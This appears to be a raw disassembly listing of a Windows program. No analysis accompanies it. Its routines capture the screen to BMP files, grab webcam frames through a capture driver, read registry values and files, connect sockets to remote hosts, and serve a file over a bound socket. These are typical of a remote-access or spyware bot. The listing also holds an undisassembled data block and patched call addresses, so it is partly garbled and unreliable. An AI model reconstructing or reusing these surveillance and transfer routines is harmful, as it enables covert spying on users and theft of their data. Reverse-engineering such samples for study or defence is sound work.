; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4153BC	proc near		; CODE XREF: sub_401ACD+734Fp

var_484		= byte ptr -484h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= word ptr -78h
var_76		= word ptr -76h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= word ptr -4Ch
var_4A		= word ptr -4Ah
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2E		= dword	ptr -2Eh
var_2A		= word ptr -2Ah
var_28		= word ptr -28h
var_26		= dword	ptr -26h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 484h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	esi
		push	offset aDisplay	; "DISPLAY"
		call	dword_4CAF60
		mov	edi, eax
		cmp	edi, esi
		mov	[ebp+var_20], edi
		jz	loc_4155F0
		push	8
		push	edi
		call	dword_4CAF7C
		push	0Ah
		push	edi
		mov	[ebp+var_8], eax
		call	dword_4CAF7C
		push	0Ch
		push	edi
		mov	[ebp+var_C], eax
		call	dword_4CAF7C
		cmp	eax, 8
		mov	[ebp+var_10], eax
		ja	short loc_41541E
		push	18h
		push	edi
		call	dword_4CAF7C
		mov	ebx, 100h
		jmp	short loc_415420
; ---------------------------------------------------------------------------


loc_41541E:				; CODE XREF: sub_4153BC+50j
		xor	ebx, ebx


loc_415420:				; CODE XREF: sub_4153BC+60j
		push	edi
		call	dword_4CAFC0
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	loc_4155D5
		mov	eax, [ebp+var_8]
		push	esi
		mov	[ebp+var_80], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_7C], eax
		mov	ax, word ptr [ebp+var_10]
		mov	[ebp+var_76], ax
		lea	eax, [ebp+var_18]
		push	esi
		push	eax
		lea	eax, [ebp+var_84]
		push	1
		push	eax
		push	edi
		mov	[ebp+var_84], 28h
		mov	[ebp+var_78], 1
		mov	[ebp+var_74], esi
		mov	[ebp+var_70], esi
		mov	[ebp+var_6C], esi
		mov	[ebp+var_68], esi
		mov	[ebp+var_64], ebx
		mov	[ebp+var_60], ebx
		call	dword_4CAFB8
		cmp	eax, esi
		mov	[ebp+var_1C], eax
		jz	loc_4155E0
		push	eax
		push	[ebp+var_4]
		call	dword_4CAE44
		cmp	eax, esi
		jz	loc_4155E0
		cmp	eax, 0FFFFFFFFh
		jz	loc_4155E0
		push	0CC0020h
		push	esi
		push	esi
		push	edi
		push	[ebp+var_C]
		push	[ebp+var_8]
		push	esi
		push	esi
		push	[ebp+var_4]
		call	dword_4CAFBC
		test	eax, eax
		jz	loc_4155E0
		cmp	ebx, esi
		jz	short loc_4154DD
		lea	eax, [ebp+var_484]
		push	eax
		push	ebx
		push	esi
		push	[ebp+var_4]
		call	dword_4CAE98
		mov	ebx, eax


loc_4154DD:				; CODE XREF: sub_4153BC+10Bj
		mov	edi, [ebp+var_10]
		mov	ecx, [ebp+var_8]
		imul	edi, [ebp+var_C]
		imul	edi, ecx
		mov	eax, ebx
		push	esi
		shr	edi, 3
		shl	eax, 2
		mov	[ebp+var_8], eax
		push	80h
		lea	edx, [eax+edi+36h]
		add	eax, 36h
		push	2
		mov	[ebp+var_26], eax
		mov	eax, [ebp+var_C]
		push	esi
		push	esi
		push	40000000h
		push	[ebp+arg_0]
		mov	[ebp+var_50], eax
		mov	ax, word ptr [ebp+var_10]
		mov	[ebp+var_30], 4D42h
		mov	[ebp+var_2E], edx
		mov	[ebp+var_2A], si
		mov	[ebp+var_28], si
		mov	[ebp+var_58], 28h
		mov	[ebp+var_54], ecx
		mov	[ebp+var_4C], 1
		mov	[ebp+var_4A], ax
		mov	[ebp+var_48], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_38], ebx
		mov	[ebp+var_34], esi
		nop
		call	near ptr 26F0876h
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	short loc_4155C0
		lea	ecx, [ebp+var_14]
		push	esi
		push	ecx
		lea	ecx, [ebp+var_30]
		push	0Eh
		push	ecx
		push	eax
		nop
		call	near ptr 26E0000h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_58]
		push	28h
		push	eax
		push	[ebp+arg_0]
		nop
		call	near ptr 26E0000h
		cmp	ebx, esi
		jz	short loc_4155A2
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_484]
		push	[ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		nop
		call	near ptr 26E0000h


loc_4155A2:				; CODE XREF: sub_4153BC+1CCj
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	edi
		push	[ebp+var_18]
		push	[ebp+arg_0]
		nop
		call	near ptr 26E0000h
		push	[ebp+arg_0]
		nop
		call	near ptr 26507ADh
		push	1
		pop	esi


loc_4155C0:				; CODE XREF: sub_4153BC+1A2j
		push	[ebp+var_1C]
		call	dword_4CAED0
		push	[ebp+var_4]
		call	dword_4CAE30
		mov	edi, [ebp+var_20]


loc_4155D5:				; CODE XREF: sub_4153BC+70j
		push	edi
		call	dword_4CAE30
		mov	eax, esi
		jmp	short loc_4155F2
; ---------------------------------------------------------------------------


loc_4155E0:				; CODE XREF: sub_4153BC+C7j
					; sub_4153BC+D9j ...
		push	edi
		call	dword_4CAE30
		push	[ebp+var_4]
		call	dword_4CAE30


loc_4155F0:				; CODE XREF: sub_4153BC+23j
		xor	eax, eax


loc_4155F2:				; CODE XREF: sub_4153BC+222j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4153BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4155F7	proc near		; CODE XREF: sub_401ACD+7476p

var_34		= byte ptr -34h
var_20		= dword	ptr -20h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	esi
		xor	ebx, ebx
		push	esi
		push	dword_4D2BA0
		push	78h
		push	0A0h
		push	ebx
		push	ebx
		push	40000000h
		push	offset aWindow	; "Window"
		call	dword_4CAEC4
		mov	edi, eax
		cmp	edi, ebx
		mov	[ebp+var_4], edi
		jnz	short loc_415635
		mov	eax, esi
		jmp	loc_4157EB
; ---------------------------------------------------------------------------


loc_415635:				; CODE XREF: sub_4155F7+35j
		push	edi
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_415652
		push	ebx
		push	[ebp+arg_4]
		push	40Ah
		push	edi
		call	dword_4CAFD0
		jmp	short loc_415654
; ---------------------------------------------------------------------------


loc_415652:				; CODE XREF: sub_4155F7+47j
		xor	eax, eax


loc_415654:				; CODE XREF: sub_4155F7+59j
		cmp	eax, ebx
		jnz	short loc_41565F


loc_415658:				; CODE XREF: sub_4155F7+88j
					; sub_4155F7+BCj
		mov	ebx, esi
		jmp	loc_4157E0
; ---------------------------------------------------------------------------


loc_41565F:				; CODE XREF: sub_4155F7+5Fj
		push	edi
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_41567C
		lea	eax, [ebp+var_34]
		push	eax
		push	2Ch
		push	40Eh
		push	edi
		call	dword_4CAFD0


loc_41567C:				; CODE XREF: sub_4155F7+71j
		cmp	[ebp+var_20], ebx
		jz	short loc_415658
		push	edi
		call	dword_4CAF14
		test	eax, eax
		mov	edi, 42Ch
		jz	short loc_4156A2
		push	ebx
		push	ebx
		push	edi
		push	[ebp+var_4]
		call	dword_4CAFD0
		mov	[ebp+arg_4], eax
		jmp	short loc_4156A5
; ---------------------------------------------------------------------------


loc_4156A2:				; CODE XREF: sub_4155F7+98j
		mov	[ebp+arg_4], ebx


loc_4156A5:				; CODE XREF: sub_4155F7+A9j
		push	[ebp+arg_4]
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_8], eax
		jz	short loc_415658
		push	[ebp+arg_4]
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_4156CC
		push	1
		pop	ebx
		jmp	loc_4157E0
; ---------------------------------------------------------------------------


loc_4156CC:				; CODE XREF: sub_4155F7+CBj
		push	[ebp+var_4]
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_4156E9
		push	[ebp+var_8]
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_4CAFD0


loc_4156E9:				; CODE XREF: sub_4155F7+E0j
		push	[ebp+arg_4]
		push	[ebp+var_8]
		push	esi
		call	sub_41C310
		mov	ecx, [ebp+arg_8]
		add	esp, 0Ch
		cmp	ecx, ebx
		jg	short loc_415704
		mov	ecx, 280h


loc_415704:				; CODE XREF: sub_4155F7+106j
		mov	eax, [ebp+arg_C]
		cmp	eax, ebx
		jg	short loc_415710
		mov	eax, 1E0h


loc_415710:				; CODE XREF: sub_4155F7+112j
		push	[ebp+var_4]
		mov	[esi+4], ecx
		mov	[esi+8], eax
		mov	word ptr [esi+0Eh], 10h
		mov	[esi+14h], ebx
		mov	[esi+10h], ebx
		mov	[esi+20h], ebx
		mov	[esi+24h], ebx
		mov	word ptr [esi+0Ch], 1
		mov	[esi+28h], bl
		mov	[esi+29h], bl
		mov	[esi+2Ah], bl
		mov	[esi+2Bh], bl
		call	dword_4CAF14
		test	eax, eax
		mov	edi, 42Dh
		jz	short loc_41575A
		push	esi
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_4CAFD0


loc_41575A:				; CODE XREF: sub_4155F7+153j
		push	[ebp+var_4]
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_415777
		push	ebx
		push	ebx
		push	43Dh
		push	[ebp+var_4]
		call	dword_4CAFD0


loc_415777:				; CODE XREF: sub_4155F7+16Ej
		push	[ebp+var_4]
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_415796
		push	[ebp+arg_0]
		push	ebx
		push	419h
		push	[ebp+var_4]
		call	dword_4CAFD0


loc_415796:				; CODE XREF: sub_4155F7+18Bj
		push	[ebp+var_4]
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_4157B3
		push	[ebp+var_8]
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_4CAFD0


loc_4157B3:				; CODE XREF: sub_4155F7+1AAj
		push	[ebp+var_8]
		call	sub_41B0B1
		push	esi
		call	sub_41B0B1
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_4157E0
		push	ebx
		push	ebx
		push	40Bh
		push	[ebp+var_4]
		call	dword_4CAFD0


loc_4157E0:				; CODE XREF: sub_4155F7+63j
					; sub_4155F7+D0j ...
		push	[ebp+var_4]
		call	dword_4CB024
		mov	eax, ebx


loc_4157EB:				; CODE XREF: sub_4155F7+39j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4155F7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4157F0	proc near		; CODE XREF: sub_401ACD+752Ep

var_90		= byte ptr -90h
var_7C		= dword	ptr -7Ch
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 90h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	esi
		xor	ebx, ebx
		push	esi
		push	dword_4D2BA0
		push	78h
		push	0A0h
		push	ebx
		push	ebx
		push	40000000h
		push	offset aWindow	; "Window"
		call	dword_4CAEC4
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_41582E
		mov	eax, esi
		jmp	loc_415A2A
; ---------------------------------------------------------------------------


loc_41582E:				; CODE XREF: sub_4157F0+35j
		push	edi
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_41584B
		push	ebx
		push	[ebp+arg_4]
		push	40Ah
		push	edi
		call	dword_4CAFD0
		jmp	short loc_41584D
; ---------------------------------------------------------------------------


loc_41584B:				; CODE XREF: sub_4157F0+47j
		xor	eax, eax


loc_41584D:				; CODE XREF: sub_4157F0+59j
		cmp	eax, ebx
		jnz	short loc_415858


loc_415851:				; CODE XREF: sub_4157F0+8Bj
					; sub_4157F0+BCj
		mov	ebx, esi
		jmp	loc_415A21
; ---------------------------------------------------------------------------


loc_415858:				; CODE XREF: sub_4157F0+5Fj
		push	edi
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_415878
		lea	eax, [ebp+var_90]
		push	eax
		push	2Ch
		push	40Eh
		push	edi
		call	dword_4CAFD0


loc_415878:				; CODE XREF: sub_4157F0+71j
		cmp	[ebp+var_7C], ebx
		jz	short loc_415851
		push	edi
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_41589B
		push	ebx
		push	ebx
		push	42Ch
		push	edi
		call	dword_4CAFD0
		mov	[ebp+arg_4], eax
		jmp	short loc_41589E
; ---------------------------------------------------------------------------


loc_41589B:				; CODE XREF: sub_4157F0+96j
		mov	[ebp+arg_4], ebx


loc_41589E:				; CODE XREF: sub_4157F0+A9j
		push	[ebp+arg_4]
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_415851
		push	[ebp+arg_4]
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_4158C5
		push	1
		pop	ebx
		jmp	loc_415A21
; ---------------------------------------------------------------------------


loc_4158C5:				; CODE XREF: sub_4157F0+CBj
		push	edi
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_4158E2
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	42Ch
		push	edi
		call	dword_4CAFD0


loc_4158E2:				; CODE XREF: sub_4157F0+DEj
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	esi
		call	sub_41C310
		mov	ecx, [ebp+arg_C]
		add	esp, 0Ch
		cmp	ecx, ebx
		jg	short loc_4158FD
		mov	ecx, 0A0h


loc_4158FD:				; CODE XREF: sub_4157F0+106j
		mov	eax, [ebp+arg_10]
		cmp	eax, ebx
		jg	short loc_415907
		push	78h
		pop	eax


loc_415907:				; CODE XREF: sub_4157F0+112j
		push	edi
		mov	[esi+4], ecx
		mov	[esi+8], eax
		mov	word ptr [esi+0Eh], 10h
		mov	[esi+14h], ebx
		mov	[esi+10h], ebx
		mov	[esi+20h], ebx
		mov	[esi+24h], ebx
		mov	word ptr [esi+0Ch], 1
		mov	[esi+28h], bl
		mov	[esi+29h], bl
		mov	[esi+2Ah], bl
		mov	[esi+2Bh], bl
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_41594C
		push	esi
		push	[ebp+arg_4]
		push	42Dh
		push	edi
		call	dword_4CAFD0


loc_41594C:				; CODE XREF: sub_4157F0+14Aj
		push	edi
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_415969
		lea	eax, [ebp+var_64]
		push	eax
		push	60h
		push	441h
		push	edi
		call	dword_4CAFD0


loc_415969:				; CODE XREF: sub_4157F0+165j
		push	edi
		mov	[ebp+var_60], ebx
		mov	[ebp+var_3C], ebx
		mov	[ebp+var_38], ebx
		mov	[ebp+var_34], ebx
		mov	[ebp+var_30], 1
		mov	[ebp+var_2C], 5
		mov	[ebp+var_64], 1046Ah
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_4159A7
		lea	eax, [ebp+var_64]
		push	eax
		push	60h
		push	440h
		push	edi
		call	dword_4CAFD0


loc_4159A7:				; CODE XREF: sub_4157F0+1A3j
		push	edi
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_4159C2
		push	[ebp+arg_0]
		push	ebx
		push	414h
		push	edi
		call	dword_4CAFD0


loc_4159C2:				; CODE XREF: sub_4157F0+1C0j
		push	edi
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_4159DB
		push	ebx
		push	ebx
		push	43Eh
		push	edi
		call	dword_4CAFD0


loc_4159DB:				; CODE XREF: sub_4157F0+1DBj
		push	edi
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_4159F8
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	42Dh
		push	edi
		call	dword_4CAFD0


loc_4159F8:				; CODE XREF: sub_4157F0+1F4j
		push	[ebp+var_4]
		call	sub_41B0B1
		push	esi
		call	sub_41B0B1
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_415A21
		push	ebx
		push	ebx
		push	40Bh
		push	edi
		call	dword_4CAFD0


loc_415A21:				; CODE XREF: sub_4157F0+63j
					; sub_4157F0+D0j ...
		push	edi
		call	dword_4CB024
		mov	eax, ebx


loc_415A2A:				; CODE XREF: sub_4157F0+39j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4157F0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415A2F	proc near		; CODE XREF: sub_401ACD+25F1p

var_3F4		= byte ptr -3F4h
var_2F0		= byte ptr -2F0h
var_F0		= byte ptr -0F0h
var_70		= byte ptr -70h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 3F4h
		push	ebx
		xor	ebx, ebx
		cmp	off_4361FC, ebx
		mov	[ebp+var_C], 80h
		jz	loc_415BD0
		push	esi
		push	edi
		mov	eax, offset off_4361FC
		mov	esi, offset dword_436208
		mov	edi, offset dword_437400


loc_415A5F:				; CODE XREF: sub_415A2F+199j
		lea	ecx, [ebp+var_4]
		push	ecx
		push	20019h
		push	ebx
		push	dword ptr [eax]
		push	dword ptr [esi-10h]
		call	dword_4CAFE4
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		push	ebx
		push	ebx
		push	dword ptr [esi-8]
		push	[ebp+var_4]
		call	dword_4CAE74
		test	eax, eax
		jnz	loc_415BB6
		mov	eax, [esi]
		cmp	eax, ebx
		jz	loc_415B7A
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_3F4]
		push	offset dword_4293BC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_3F4]
		push	offset aR	; "r"
		push	eax
		call	sub_41B4C2
		add	esp, 18h
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jz	loc_415BB6
		push	eax


loc_415AD8:				; CODE XREF: sub_415A2F+D4j
		lea	eax, [ebp+var_70]
		push	64h
		push	eax
		call	sub_41BB4F
		add	esp, 0Ch
		test	eax, eax
		jz	loc_415B6F
		push	dword ptr [esi+4]
		lea	eax, [ebp+var_70]
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415B05
		push	[ebp+var_8]
		jmp	short loc_415AD8
; ---------------------------------------------------------------------------


loc_415B05:				; CODE XREF: sub_415A2F+CFj
		push	3Dh
		push	dword ptr [esi+4]
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415B33
		lea	eax, [ebp+var_70]
		push	offset asc_4373FC ; "="
		push	eax
		call	sub_41C0F4
		push	offset asc_4373FC ; "="
		push	ebx
		call	sub_41C0F4
		add	esp, 10h
		jmp	short loc_415B36
; ---------------------------------------------------------------------------


loc_415B33:				; CODE XREF: sub_415A2F+E4j
		lea	eax, [ebp+var_70]


loc_415B36:				; CODE XREF: sub_415A2F+102j
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp+var_2F0]
		push	ebx
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_4151AC
		add	esp, 18h


loc_415B6F:				; CODE XREF: sub_415A2F+B9j
		push	[ebp+var_8]
		call	sub_41B05B
		pop	ecx
		jmp	short loc_415BB6
; ---------------------------------------------------------------------------


loc_415B7A:				; CODE XREF: sub_415A2F+6Aj
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2F0]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_4151AC
		add	esp, 28h


loc_415BB6:				; CODE XREF: sub_415A2F+60j
					; sub_415A2F+A2j ...
		push	[ebp+var_4]
		call	dword_4CAF50
		add	esi, 18h
		cmp	[esi-0Ch], ebx
		lea	eax, [esi-0Ch]
		jnz	loc_415A5F
		pop	edi
		pop	esi


loc_415BD0:				; CODE XREF: sub_415A2F+19j
		pop	ebx
		leave
		retn
sub_415A2F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415BD3	proc near		; CODE XREF: ___:00416278p

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_4CAFF4
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_415C4F
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_4CAF74
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_4CAFB4
		cmp	eax, esi
		jnz	short loc_415C34
		push	[ebp+arg_0]
		call	dword_4CAFF8
		test	eax, eax
		jz	short loc_415C4F
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]


loc_415C34:				; CODE XREF: sub_415BD3+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_4CAF1C
		cmp	eax, esi
		jnz	short loc_415C53
		push	edi
		call	dword_4CB00C


loc_415C4F:				; CODE XREF: sub_415BD3+1Bj
					; sub_415BD3+58j
		mov	eax, esi
		jmp	short loc_415C55
; ---------------------------------------------------------------------------


loc_415C53:				; CODE XREF: sub_415BD3+73j
		mov	eax, edi


loc_415C55:				; CODE XREF: sub_415BD3+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_415BD3	endp

; ---------------------------------------------------------------------------
byte_415C59	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+A1Eo
		dd 11B4B8h, 5EBAE800h, 458B0000h, 57565308h, 0F08B6D6Ah
		dd 4CBD8D59h, 0F3FFFFFEh, 5E016AA5h, 89EC75FFh,	1B0B0h
		dd 54858D00h, 50FFFFFEh, 0FFFF42E8h, 59D88BFFh,	59FFFB83h
		dd 858D5275h, 0FFFFEE4Ch, 43747C68h, 0DBE85000h, 3300005Bh
		dd 7D3959FFh, 1B7559F8h, 4C858D57h, 0FFFFFFEEh,	8D50F475h
		dd 0FFFF6C85h, 0E85350FFh, 0FFFF3DA6h, 8D14C483h, 0FFEE4C85h
		dd 0D1E850FFh, 0FFFFFFF4h, 2FE8F075h, 59FFFF57h, 15E85659h
		dd 90022BA3h, 43D12868h, 6DE85300h, 5900003Fh, 59FFF883h
		dd 858D5975h, 0FFFFEE4Ch, 43744C68h, 77E85000h,	3300005Bh
		dd 7D3959FFh, 1B7559F8h, 4C858D57h, 0FFFFFFEEh,	8D50F475h
		dd 0FFFF6C85h, 0E85350FFh, 0FFFF3D42h, 8D14C483h, 0FFEE4C85h
		dd 6DE850FFh, 59FFFFF4h, 0C15FF53h, 0FF004CB0h,	0C3E8F075h
		dd 59FFFF56h, 0A9E89056h, 6A022BA2h, 0B1CDE864h, 33900224h
		dd 1000BEFFh, 8D560000h, 0FFEE4C85h, 0E85057FFh, 581Ch
		dd 8D0CC483h, 0FFEE4C85h, 505657FFh, 8C15FF53h,	85004CAFh
		dd 8D387EC0h, 0FFEE4C85h, 999868FFh, 0E8500042h, 6124h
		dd 0EE4C858Dh, 0E850FFFFh, 3CA8h, 850CC483h, 6A1474C0h
		dd 74E89064h, 6A0224B1h, 5580E80Ah, 0C085FFFFh,	8DA37559h
		dd 0FFEE4C85h, 741868FFh, 0E8500043h, 5AB2h, 59F87D39h
		dd 571B7559h, 0EE4C858Dh, 75FFFFFFh, 858D50F4h,	0FFFFFF6Ch
		dd 7FE85350h, 83FFFF3Ch, 858D14C4h, 0FFFFEE4Ch,	0F3AAE850h
		dd 5359FFFFh, 0B00C15FFh, 75FF004Ch, 5600E8F0h,	5759FFFFh
		dd 0A1E6E890h
; ---------------------------------------------------------------------------
		sub	eax, [edx]


loc_415E1A:				; DATA XREF: sub_401ACD+7831o
		push	ebp
		mov	ebp, esp
		sub	esp, 0A04h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-1FCh]
		rep movsd
		push	1
		xor	esi, esi
		pop	ebx
		mov	[ebp-10h], esi
		push	esi
		push	ebx
		push	2
		mov	[eax+1B0h], ebx
		mov	[ebp-0Ch], esi
		mov	[ebp-20h], esi
		call	dword_4CAFF4
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp-18h], edi
		jnz	short loc_415E68
		push	offset unk_43757C
		jmp	loc_416021
; ---------------------------------------------------------------------------


loc_415E68:				; CODE XREF: ___:00415E5Cj
		push	10h
		lea	eax, [ebp-30h]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	word ptr [ebp-30h], 2
		push	esi
		call	dword_4CAF74
		mov	[ebp-2Eh], ax
		lea	eax, [ebp-30h]
		push	10h
		push	eax
		push	edi
		mov	[ebp-2Ch], esi
		call	dword_4CAFA0
		test	eax, eax
		jz	short loc_415EA6
		push	offset unk_437558
		jmp	loc_416021
; ---------------------------------------------------------------------------


loc_415EA6:				; CODE XREF: ___:00415E9Aj
		lea	eax, [ebp-1Ch]
		mov	dword ptr [ebp-1Ch], 10h
		push	eax
		lea	eax, [ebp-30h]
		push	eax
		push	edi
		call	dword_4CAF18
		push	dword ptr [ebp-2Eh]
		call	dword_4CAEA4
		mov	[ebp-4], eax
		lea	eax, [ebp-1E0h]
		push	eax
		mov	[ebp+8], esi
		call	sub_41AFE0
		pop	ecx


loc_415ED8:				; CODE XREF: ___:00415F09j
		mov	ecx, [ebp+8]
		mov	al, [ebp+ecx-1E0h]
		cmp	al, 20h
		jnz	short loc_415EEB
		push	5Fh
		pop	eax
		jmp	short loc_415EEE
; ---------------------------------------------------------------------------


loc_415EEB:				; CODE XREF: ___:00415EE4j
		movsx	eax, al


loc_415EEE:				; CODE XREF: ___:00415EE9j
		mov	[ebp+ecx-604h],	al
		lea	eax, [ebp-1E0h]
		inc	ecx
		push	eax
		mov	[ebp+8], ecx
		call	sub_41AFE0
		cmp	[ebp+8], eax
		pop	ecx
		jbe	short loc_415ED8
		push	ebx
		push	edi
		call	dword_4CAF9C
		test	eax, eax
		jz	short loc_415F21
		push	offset unk_43747C
		jmp	loc_416021
; ---------------------------------------------------------------------------


loc_415F21:				; CODE XREF: ___:00415F15j
		push	esi
		push	esi
		push	3
		push	esi
		push	ebx
		lea	eax, [ebp-1E0h]
		push	80000000h
		push	eax
		nop
		call	near ptr 26F0876h
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-8], eax
		jnz	short loc_415F4B
		push	offset unk_437538
		jmp	loc_416021
; ---------------------------------------------------------------------------


loc_415F4B:				; CODE XREF: ___:00415F3Fj
		push	esi
		push	eax
		call	near ptr 2730000h
		nop
		mov	[ebp+8], eax
		push	eax
		movzx	eax, word ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_40AC0F
		pop	ecx
		push	eax
		call	dword_4CAFB4
		push	eax
		call	dword_4CAF70
		push	eax
		lea	eax, [ebp-1E0h]
		push	eax
		lea	eax, [ebp-3FCh]
		push	offset dword_437520
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-3FCh]
		push	esi
		push	eax
		lea	eax, [ebp-0DCh]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409A72
		add	esp, 2Ch
		lea	eax, [ebp-38h]
		mov	dword ptr [ebp-38h], 3Ch
		mov	[ebp-34h], esi
		push	eax
		push	esi
		lea	eax, [ebp-500h]
		push	esi
		push	eax
		push	esi
		mov	[ebp-4FCh], edi
		mov	[ebp-500h], ebx
		call	dword_4CAF5C
